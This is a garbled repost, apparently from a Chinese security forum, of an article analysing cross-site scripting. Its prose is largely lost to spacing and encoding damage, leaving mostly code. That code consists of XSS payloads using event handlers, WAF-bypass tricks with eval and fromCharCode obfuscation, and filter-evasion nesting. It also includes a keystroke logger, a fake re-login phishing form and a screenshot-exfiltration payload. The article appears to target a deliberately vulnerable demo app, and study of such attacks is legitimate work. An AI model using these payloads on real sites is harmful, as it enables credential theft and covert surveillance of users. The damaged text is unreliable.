[13735] 2019-02-06_对XSS的一次深入分析认识

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2019-02-06_对XSS的一次深入分析认识   X S S   c l o u d s   F r e e B u f   2 0 1 9 - 0 2 - 0 6 W e b 广 广 X S S X S S 使 使 X S S X S S X S S X S S   P a y l o a d W A F W A F X S S   f i l t e r < s c r i p t > J a v a S c r i p t < s c r i p t >     < / s c r i p t >   使 < s c r i p t > J a v a S c r i p t J a v a S c r i p t 使 E v e n t   H a n d l e r < i m g   s r c = x   o n e r r o r = a l e r t ( ' x s s ' )   / > 使 s r c   o n e r r o r   ( o n e r r o r   e v e n t   h a n d l e r ) a l e r t x s s   p a y l o a d a l e r t ( 1 )
使 i m g o n e r r o r X S S X S S X S S B o d y   b o d y E v e n t   H a n d l e r o n p a g e s h o w b o d y X S S P a y l o a d b o d y P a y l o a d S t y l e   o n l o a d s t y l e M a r q u e e   M a r q u e e   w e b X S S   P a y l o a d M a r q u e e o n b o u n c e < m a r q u e e > < m a r q u e e > b e h a v i o r a l t e r n a t e o n f i n i s h   m a r q u e e     l o o p     l o o p     0   o n s t a r t :     m a r q u e e   X S S   P a y l o a d < b o d y   o n p a g e s h o w = a l e r t ( 1 ) > < s t y l e   o n l o a d = a l e r t ( 1 )   / >
M e d i a   X S S   P a y l o a d o n c a n p l a y :   a u d i o / v i d e o o n d u r a t i o n c h a n g e :   a u d i o / v i d e o o n e n d e d :   a u d i o / v i d e o o n l o a d e d d a t a :   a u d i o / v i d e o o n l o a d e d m e t a d a t a :   a u d i o / v i d e o o n l o a d s t a r t :   a u d i o / v i d e o o n p r o g r e s s :   a u d i o / v i d e o o n s u s p e n d :   a u d i o / v i d e o X S S   P a y l o a d J a v a S c r i p t 使 a l e r t E v a l   &   W A F   / ( e v a l | r e p l a c e ) ( . + ? ) / i   P a y l o a d e v a l P a y l o a d r e p l a c e e v a l ( ' a l e r t ( 1 ) ' )       a l e r t ( 1 )   e v a l W A F e v a l r e p l a c e W A F P a y l o a d e s c a p e 使 e v a l ( ' ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ ' . r e p l a c e ( / ~ / g ,   ' ' ) ) P a y l o a d < m a r q u e e   b e h a v i o r = " a l t e r n a t e "   o n s t a r t = a l e r t ( 1 ) > h a c k   t h e   p l a n e t < / m a r q u e e > < m a r q u e e   l o o p = " 1 "   o n f i n i s h = a l e r t ( 1 ) > h a c k   t h e   p l a n e t < / m a r q u e e > < m a r q u e e   o n s t a r t = a l e r t ( 1 ) > h a c k   t h e   p l a n e t < / m a r q u e e > < a u d i o   o n c a n p l a y = a l e r t ( 1 )     / > e v a l ( ' ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ ' . r e p l a c e ( / ~ / g ,   ' ' ) )
使 P a y l o a d 访 n e w   S t r i n g ( ) ~ W A F 使 e v a l S t r i n g . f r o m C h a r C o d e U n i c o d e A S C I I U n i c o d e e v a l P a y l o a d 使 使 E v a l e v a l 使 e v a l / e v a l ( . + ? ) / i J a v a S c r i p t e v a l v a r   x   =   e v a l ;   x ( ' a l e r t ( 1 ) ' ) e v a l ( 1 , 2 , 3 , 4 ) 4 ( 1 , e v a l ) e v a l P a y l o a d 使 c a l l e v a l F u n c t i o n a l e r t P a y l o a d e v a l ( ' ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ ' . r e p l a c e ( / ~ / g ,   ' ' ) ) e v a l ( / ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ / . s o u r c e . r e p l a c e ( / ~ / g ,   n e w   S t r i n g ( ) ) ) c o n s o l e . l o g ( S t r i n g . f r o m C h a r C o d e ( 6 5 , 6 6 , 6 7 , 6 8 ) )     / /   " A B C D " e v a l ( S t r i n g . f r o m C h a r C o d e ( 9 7 , 1 0 8 , 1 0 1 , 1 1 4 , 1 1 6 , 4 0 , 4 9 , 4 1 ) )     / / / /     a l e r t ( 1 ) ( e v a l )         / /   e v a l         ( 1 ,   e v a l )   / /   e v a l ( 1 ,   e v a l ) ( ' a l e r t ( 1 ) ' )     / /     a l e r t ( 1 ) e v a l . c a l l ( n u l l ,   ' a l e r t ( 1 ) ' )     / /   a l e r t ( 1 ) f u n c t i o n   h a c k T h e P l a n e t   ( )   {     a l e r t ( 1 ) } n e w   F u n c t i o n ( ' a l e r t ( 1 ) ' ) ( )
< s c r i p t > < / s c r i p t > j a v a s c r i p t < s c r i p t >   < / s c r i p t > j a v a s c r i p t o n e r r o r P a y l o a d 使 P a y l o a d < s c r i p t > < / s c r i p t > N A U G H T Y _ H A C K E R < s c r i p t > a l e r t ( 1 ) < / s c r i p t >   N A U G H T Y _ H A C K E R a l e r t ( 1 ) N A U G H T Y _ H A C K E R < s c r i p t > < s c r i p t   s c r i p t > >     < / s c r i p t   / s c r i p t > > N A U G H T Y _ H A C K E R < s c r i p t > a l e r t ( 1 ) < / s c r i p t > s c r i p t   N A U G H T Y _ H A C K E R > N A U G H T Y _ H A C K E R i n p u t a u t o f o c u s < / s c r i p t   N A U G H T Y _ H A C K E R >   < s c < s c r i p t > r i p t > a l e r t ( 1 ) < / s c < / s c r i p t > r i p t > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > < i m g   s r c = x   o n o n e r r o r e r r o r = a l e r t ( 1 )   / > < i m g   s r c = x   o n e r r o r = a l e r t ( 1 )   / > < s c r i p t   N A U G H T Y _ H A C K E R > a l e r t ( 1 ) < / s c r i p t   N A U G H T Y _ H A C K E R >
X S S X S S P o C X S S X S S a l e r t X S S X S S J a v a S c r i p t C o o k i e C o o k i e X S S H t t p O n l y J a v a S c r i p t C o o k i e C o o k i e J a v a S c r i p t   k e y p r e s s   ) k e y p r e s s d o c u m e n t C a l l b a c k k e y p r e s s J a v a S c r i p t w e b D O M   X S S P o C D O M b o d y d o c u m e n t . b o d y . i n n e r H T M L b o d y 使 d o c u m e n t . a d d E v e n t L i s t e n e r ( ' k e y p r e s s ' ,   f u n c t i o n   ( e v e n t )   {     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( )     x h r . o p e n ( ' P O S T ' ,   ' / k e y l o g g e r ' )     x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' ,   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' )     x h r . s e n d ( ' d a t a = '   +   e v e n t . k e y ) } ) v a r   d u m m y F o r m H t m l   =   ' W e ' v e   h a d   r e p o r t s   o f   b a d   g u y s   t r y i n g   t o   d o   w r o n g   b y   '   +                                         ' o u r   u s e r s   l a t e l y   -   h e l p   u s ,   h e l p   y o u ,   b y   l o g g i n g   i n   '   +                                         ' a g a i n   t o   c o n f i r m   y o u r   i d e n t i t y < b r > < i n p u t   t y p e = " t e x t "   / > '   +                                         ' < b r > < i n p u t   t y p e = " p a s s w o r d "   / > < b r > < i n p u t   t y p e = " s u b m i t "   v a l u e = " L o g i n "   / > ' d o c u m e n t . b o d y . i n n e r H T M L   =   d u m m y F o r m H t m l d o c u m e n t . a d d E v e n t L i s t e n e r ( ' k e y p r e s s ' ,   f u n c t i o n   ( e v e n t )   {     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( )     x h r . o p e n ( ' P O S T ' ,   ' / k e y l o g g e r ' )     x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' ,   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' )     x h r . s e n d ( ' d a t a = '   +   e v e n t . k e y ) } )
D O M   访   -   X S S X S S   P a y l o a d h t m l 2 c a n v a s   6 J a v a S c r i p t P a y l o a d 使 s e t T i m e o u t ( ) s e t T i m e o u t P a y l o a d W e b h t m l 2 c a n v a s ( d o c u m e n t . q u e r y S e l e c t o r ( " b o d y " ) ) . t h e n ( c a n v a s   = >   {     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( )     x h r . o p e n ( ' P O S T ' ,   ' / s c r e e n s h o t ' )     x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' ,   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' )     x h r . s e n d ( ' d a t a = '   +   e n c o d e U R I C o m p o n e n t ( c a n v a s . t o D a t a U R L ( ) ) ) } ) ; < i m g     o n l o a d = e v a l ( S t r i n g . f r o m C h a r C o d e ( 1 1 5 , 1 0 1 , 1 1 6 , 8 4 , 1 0 5 , 1 0 9 , 1 0 1 , 1 1 1 , 1 1 7 , 1 1 6 , 4 0 , 1 0 2 , 1 1 7 , 1 1 0 , 9 9 , 1 1 6 , 1 0 5 , 1 1 1 , 1 1 0 , 4 0 , 4 1 , 1 2 3 , 1 1 8 , 9 7 , 1 1 4 , 3 2 , 1 0 0 , 6 1 , 1 0 0 , 1 1 1 , 9 9 , 1 1 7 , 1 0 9 , 1 0 1 , 1 1 0 , 1 1 6 , 5 9 , 1 1 8 , 9 7 , 1 1 4 , 3 2 , 9 7 , 6 1 , 1 0 0 , 4 6 , 9 9 , 1 1 4 , 1 0 1 , 9 7 , 1 1 6 , 1 0 1 , 6 9 , 1 0 8 , 1 0 1 , 1 0 9 , 1 0 1 , 1 1 0 , 1 1 6 , 4 0 , 3 9 , 1 1 5 , 9 9 , 1 1 4 , 1 0 5 , 1 1 2 , 1 1 6 , 3 9 , 4 1 , 5 9 , 9 7 , 4 6 , 1 1 5 , 1 0 1 , 1 1 6 , 6 5 , 1 1 6 , 1 1 6 , 1 1 4 , 1 0 5 , 9 8 , 1 1 7 , 1 1 6 , 1 0 1 , 4 0 , 3 9 , 1 1 5 , 1 1 4 , 9 9 , 3 9 , 4 4 , 3 9 , 4 7 , 1 1 5 , 9 9 , 1 1 4 , 1 0 5 , 1 1 2 , 1 1 6 , 1 1 5 , 4 7 , 1 1 5 , 9 9 , 1 1 4 , 1 0 1 , 1 0 1 , 1 1 0 , 1 1 5 , 1 0 4 , 1 1 1 , 1 1 6 , 4 6 , 1 0 6 , 1 1 5 , 3 9 , 4 1 , 5 9 , 1 0 0 , 4 6 , 1 0 4 , 1 0 1 , 9 7 , 1 0 0 , 4 6 , 9 7 , 1 1 2 , 1 1 2 , 1 0 1 , 1 1 0 , 1 0 0 , 6 7 , 1 0 4 , 1 0 5 , 1 0 8 , 1 0 0 , 4 0 , 9 7 , 4 1 , 5 9 , 1 2 5 , 4 4 , 4 9 , 4 8 , 4 8 , 4 8 , 4 1 ) )   / > s e t T i m e o u t ( f u n c t i o n ( )   {     v a r   d   =   d o c u m e n t ;     v a r   a   =   d . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;     a . s e t A t t r i b u t e ( ' s r c ' , ' / s c r i p t s / s c r e e n s h o t . j s ' ) ;     d . h e a d . a p p e n d C h i l d ( a ) ; } ,   1 0 0 0 )
P a y l o a d s c r e e n s h o t . p n g N o d e . j s X S S N o d e . j s W e b G i t H u b h t t p s : / / g i t h u b . c o m / D i g i t a l I n t e r r u p t i o n / v u l n e r a b l e - x s s - a p p * d i g i t a l i n t e r r u p t i o n c l o u d s F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则